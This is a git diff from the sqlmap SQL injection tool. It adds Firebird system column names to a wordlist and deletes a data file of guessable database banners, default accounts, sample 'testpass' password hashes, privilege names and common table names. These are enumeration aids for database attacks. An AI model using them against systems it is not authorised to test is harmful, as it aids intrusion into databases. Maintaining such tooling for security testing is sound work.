+MON$PAGE_SIZE +MON$PAGE_WRITES +MON$PARALLEL_WORKERS +MON$READ_ONLY +MON$RECORD_BACKOUTS +MON$RECORD_CONFLICTS +MON$RECORD_DELETES +MON$RECORD_EXPUNGES +MON$RECORD_IDX_READS +MON$RECORD_IMGC +MON$RECORD_INSERTS +MON$RECORD_LOCKS +MON$RECORD_PURGES +MON$RECORD_RPT_READS +MON$RECORD_SEQ_READS +MON$RECORD_STAT_ID +MON$RECORD_STATS +MON$RECORD_UPDATES +MON$RECORD_WAITS +MON$REMOTE_ADDRESS +MON$REMOTE_HOST +MON$REMOTE_OS_USER +MON$REMOTE_PID +MON$REMOTE_PROCESS +MON$REMOTE_PROTOCOL +MON$REMOTE_VERSION +MON$REPLICA_MODE +MON$RESERVE_SPACE +MON$ROLE +MON$SEC_DATABASE +MON$SERVER_PID +MON$SESSION_TIMEZONE +MON$SHUTDOWN_MODE +MON$SOURCE_COLUMN +MON$SOURCE_LINE +MON$SQL_DIALECT +MON$SQL_TEXT +MON$STATE +MON$STATEMENT_ID +MON$STATEMENTS +MON$STATEMENT_TIMEOUT +MON$STATEMENT_TIMER +MON$STAT_GROUP +MON$STAT_ID +MON$SWEEP_INTERVAL +MON$SYSTEM_FLAG +MON$TABLE_NAME +MON$TABLE_STATS +MON$TIMESTAMP +MON$TOP_TRANSACTION +MON$TRANSACTION_ID +MON$TRANSACTIONS +MON$USER +MON$VARIABLE_NAME +MON$VARIABLE_VALUE +MON$WIRE_COMPRESSED +MON$WIRE_CRYPT_PLUGIN +MON$WIRE_ENCRYPTED +NAME +RDB$ACL +RDB$ACTIVE_FLAG +RDB$ARGUMENT_MECHANISM +RDB$ARGUMENT_NAME +RDB$ARGUMENT_POSITION +RDB$AUTH_MAPPING +RDB$AUTO_ENABLE +RDB$BACKUP_HISTORY +RDB$BACKUP_ID +RDB$BACKUP_LEVEL +RDB$BASE_COLLATION_NAME +RDB$BASE_FIELD +RDB$BYTES_PER_CHARACTER +RDB$CHARACTER_LENGTH +RDB$CHARACTER_SET_ID +RDB$CHARACTER_SET_NAME +RDB$CHARACTER_SETS +RDB$CHECK_CONSTRAINTS +RDB$COLLATION_ATTRIBUTES +RDB$COLLATION_ID +RDB$COLLATION_NAME +RDB$COLLATIONS +RDB$COMPLEX_NAME +RDB$COMPUTED_BLR +RDB$COMPUTED_SOURCE +RDB$CONDITION_BLR +RDB$CONDITION_SOURCE +RDB$CONFIG +RDB$CONFIG_DEFAULT +RDB$CONFIG_ID +RDB$CONFIG_IS_SET +RDB$CONFIG_NAME +RDB$CONFIG_SOURCE +RDB$CONFIG_VALUE +RDB$CONST_NAME_UQ +RDB$CONSTRAINT_NAME +RDB$CONSTRAINT_TYPE +RDB$CONTEXT_NAME +RDB$CONTEXT_TYPE +RDB$DATABASE +RDB$DB_CREATORS +RDB$DBKEY_LENGTH +RDB$DEBUG_INFO +RDB$DEFAULT_CLASS +RDB$DEFAULT_COLLATE_NAME +RDB$DEFAULT_SOURCE +RDB$DEFAULT_VALUE +RDB$DEFERRABLE +RDB$DELETE_RULE +RDB$DEPENDED_ON_NAME +RDB$DEPENDED_ON_TYPE +RDB$DEPENDENCIES +RDB$DEPENDENT_NAME +RDB$DEPENDENT_TYPE +RDB$DESCRIPTION +RDB$DESCRIPTOR +RDB$DETERMINISTIC_FLAG +RDB$DIMENSION +RDB$DIMENSIONS +RDB$EDIT_STRING +RDB$ENGINE_NAME +RDB$ENTRYPOINT +RDB$EXCEPTION_NAME +RDB$EXCEPTION_NUMBER +RDB$EXCEPTIONS +RDB$EXPRESSION_BLR +RDB$EXPRESSION_SOURCE +RDB$EXTERNAL_DESCRIPTION +RDB$EXTERNAL_FILE +RDB$EXTERNAL_LENGTH +RDB$EXTERNAL_SCALE +RDB$EXTERNAL_TYPE +RDB$FIELD_DIMENSIONS +RDB$FIELD_ID +RDB$FIELD_LENGTH +RDB$FIELD_NAME +RDB$FIELD_POSITION +RDB$FIELD_PRECISION +RDB$FIELDS +RDB$FIELD_SCALE +RDB$FIELD_SOURCE +RDB$FIELD_SUB_TYPE +RDB$FIELD_TYPE +RDB$FILE_FLAGS +RDB$FILE_LENGTH +RDB$FILE_NAME +RDB$FILE_PARTITIONS +RDB$FILE_P_OFFSET +RDB$FILES +RDB$FILE_SEQUENCE +RDB$FILE_START +RDB$FILTERS +RDB$FLAGS +RDB$FOREIGN_KEY +RDB$FORMAT +RDB$FORMATS +RDB$FORM_OF_USE +RDB$FUNCTION_ARGUMENTS +RDB$FUNCTION_BLR +RDB$FUNCTION_ID +RDB$FUNCTION_NAME +RDB$FUNCTIONS +RDB$FUNCTION_SOURCE +RDB$FUNCTION_TYPE +RDB$GENERATOR_ID +RDB$GENERATOR_INCREMENT +RDB$GENERATOR_NAME +RDB$GENERATORS +RDB$GRANT_OPTION +RDB$GRANTOR +RDB$GUID +RDB$IDENTITY_TYPE +RDB$INDEX_ID +RDB$INDEX_INACTIVE +RDB$INDEX_NAME +RDB$INDEX_SEGMENTS +RDB$INDEX_TYPE +RDB$INDICES +RDB$INITIALLY_DEFERRED +RDB$INITIAL_VALUE +RDB$INPUT_SUB_TYPE +RDB$KEYWORD_NAME +RDB$KEYWORD_RESERVED +RDB$KEYWORDS +RDB$LEGACY_FLAG +RDB$LINGER +RDB$LOG_FILES +RDB$LOWER_BOUND +RDB$MAP_DB +RDB$MAP_FROM +RDB$MAP_FROM_TYPE +RDB$MAP_NAME +RDB$MAP_PLUGIN +RDB$MAP_TO +RDB$MAP_TO_TYPE +RDB$MAP_USING +RDB$MATCH_OPTION +RDB$MECHANISM +RDB$MESSAGE +RDB$MESSAGE_NUMBER +RDB$MISSING_SOURCE +RDB$MISSING_VALUE +RDB$MODULE_NAME +RDB$NULL_FLAG +RDB$NUMBER_OF_CHARACTERS +RDB$OBJECT_TYPE +RDB$OUTPUT_SUB_TYPE +RDB$OWNER_NAME +RDB$PACKAGE_BODY_SOURCE +RDB$PACKAGE_HEADER_SOURCE +RDB$PACKAGE_NAME +RDB$PACKAGES +RDB$PAGE_NUMBER +RDB$PAGES +RDB$PAGE_SEQUENCE +RDB$PAGE_TYPE +RDB$PARAMETER_MECHANISM +RDB$PARAMETER_NAME +RDB$PARAMETER_NUMBER +RDB$PARAMETER_TYPE +RDB$PRIVATE_FLAG +RDB$PRIVILEGE +RDB$PROCEDURE_BLR +RDB$PROCEDURE_ID +RDB$PROCEDURE_INPUTS +RDB$PROCEDURE_NAME +RDB$PROCEDURE_OUTPUTS +RDB$PROCEDURE_PARAMETERS +RDB$PROCEDURES +RDB$PROCEDURE_SOURCE +RDB$PROCEDURE_TYPE +RDB$PUBLICATION_NAME +RDB$PUBLICATIONS +RDB$PUBLICATION_TABLES +RDB$QUERY_HEADER +RDB$QUERY_NAME +RDB$REF_CONSTRAINTS +RDB$RELATION_CONSTRAINTS +RDB$RELATION_FIELDS +RDB$RELATION_ID +RDB$RELATION_NAME +RDB$RELATIONS +RDB$RELATION_TYPE +RDB$RETURN_ARGUMENT +RDB$ROLE_NAME +RDB$ROLES +RDB$RUNTIME +RDB$SCN +RDB$SECURITY_CLASS +RDB$SECURITY_CLASSES +RDB$SEGMENT_COUNT +RDB$SEGMENT_LENGTH +RDB$SHADOW_NUMBER +RDB$SPECIFIC_ATTRIBUTES +RDB$SQL_SECURITY +RDB$STATISTICS +RDB$SYSTEM_FLAG +RDB$SYSTEM_PRIVILEGES +RDB$TABLE_NAME +RDB$TIMESTAMP +RDB$TIME_ZONE_ID +RDB$TIME_ZONE_NAME +RDB$TIME_ZONES +RDB$TRANSACTION_DESCRIPTION +RDB$TRANSACTION_ID +RDB$TRANSACTIONS +RDB$TRANSACTION_STATE +RDB$TRIGGER_BLR +RDB$TRIGGER_INACTIVE +RDB$TRIGGER_MESSAGES +RDB$TRIGGER_NAME +RDB$TRIGGERS +RDB$TRIGGER_SEQUENCE +RDB$TRIGGER_SOURCE +RDB$TRIGGER_TYPE +RDB$TYPE +RDB$TYPE_NAME +RDB$TYPES +RDB$UNIQUE_FLAG +RDB$UPDATE_FLAG +RDB$UPDATE_RULE +RDB$UPPER_BOUND +RDB$USER +RDB$USER_PRIVILEGES +RDB$USER_TYPE +RDB$VALIDATION_BLR +RDB$VALIDATION_SOURCE +RDB$VALID_BLR +RDB$VALID_BODY_FLAG +RDB$VIEW_BLR +RDB$VIEW_CONTEXT +RDB$VIEW_NAME +RDB$VIEW_RELATIONS +RDB$VIEW_SOURCE +SEC$ACTIVE +SEC$ADMIN +SEC$DB_CREATORS +SEC$DESCRIPTION +SEC$FIRST_NAME +SEC$GLOBAL_AUTH_MAPPING +SEC$KEY +SEC$LAST_NAME +SEC$MAP_DB +SEC$MAP_FROM +SEC$MAP_FROM_TYPE +SEC$MAP_NAME +SEC$MAP_PLUGIN +SEC$MAP_TO +SEC$MAP_TO_TYPE +SEC$MAP_USING +SEC$MIDDLE_NAME +SEC$PLUGIN +SEC$USER +SEC$USER_ATTRIBUTES +SEC$USER_NAME +SEC$USERS +SEC$USER_TYPE +SEC$VALUE +SURNAME +USERS + diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt deleted file mode 100644 index 5df11be3d..000000000 --- a/data/txt/common-outputs.txt +++ /dev/null @@ -1,1476 +0,0 @@ -# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -# See the file 'LICENSE' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -5.7. -6.0. -8.0. -8.1. -8.2. -8.3. -8.4. -9.0. -9.1. -9.2. -9.3. - -# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...') -10.0. -10.1. -10.2. -10.3. -10.4. -10.5. -10.6. -10.7. -10.8. -10.9. -10.10. -10.11. -11.0. -11.1. -11.2. -11.3. -11.4. -11.5. -11.6. -11.7. -11.8. -12.0. -12.1. -12.2. -12.3. -13.0. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 -PostgreSQL 9.4 -PostgreSQL 9.5 -PostgreSQL 9.6 -PostgreSQL 10. -PostgreSQL 11. -PostgreSQL 12. -PostgreSQL 13. -PostgreSQL 14. -PostgreSQL 15. -PostgreSQL 16. -PostgreSQL 17. -PostgreSQL 18. - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. -Oracle Database 12c -Oracle Database 18c -Oracle Database 19c -Oracle Database 21c -Oracle Database 23ai -Oracle Database 26ai - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 -Microsoft SQL Server 2012 -Microsoft SQL Server 2014 -Microsoft SQL Server 2016 -Microsoft SQL Server 2017 -Microsoft SQL Server 2019 -Microsoft SQL Server 2022 -Microsoft SQL Server 2025 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' -'mysql.sys'@'localhost' -'mysql.session'@'localhost' -'mysql.infoschema'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -performance_schema -mysql -sys -test -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - -# Cloud Defaults -rdsadmin -innodb -azure_maintenance - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# Wordpress -wp_users -wp_posts -wp_comments -wp_options -wp_postmeta -wp_terms -wp_term_taxonomy -wp_term_relationships -wp_links -wp_commentmeta - -# WooCommerce -wp_woocommerce_sessions -wp_woocommerce_api_keys -wp_woocommerce_attribute_taxonomies - -# Magento -catalog_product_entity -sales_order -sales_order_item -customer_entity -quote - -# Drupal -node -users -field_data_body -field_revision_body -taxonomy_term_data -taxonomy_vocabulary - -# Joomla -joomla_users -joomla_content -joomla_categories -joomla_modules - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_cron_job -pg_cron_job_run_detail -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_stat_statements -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups -systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee 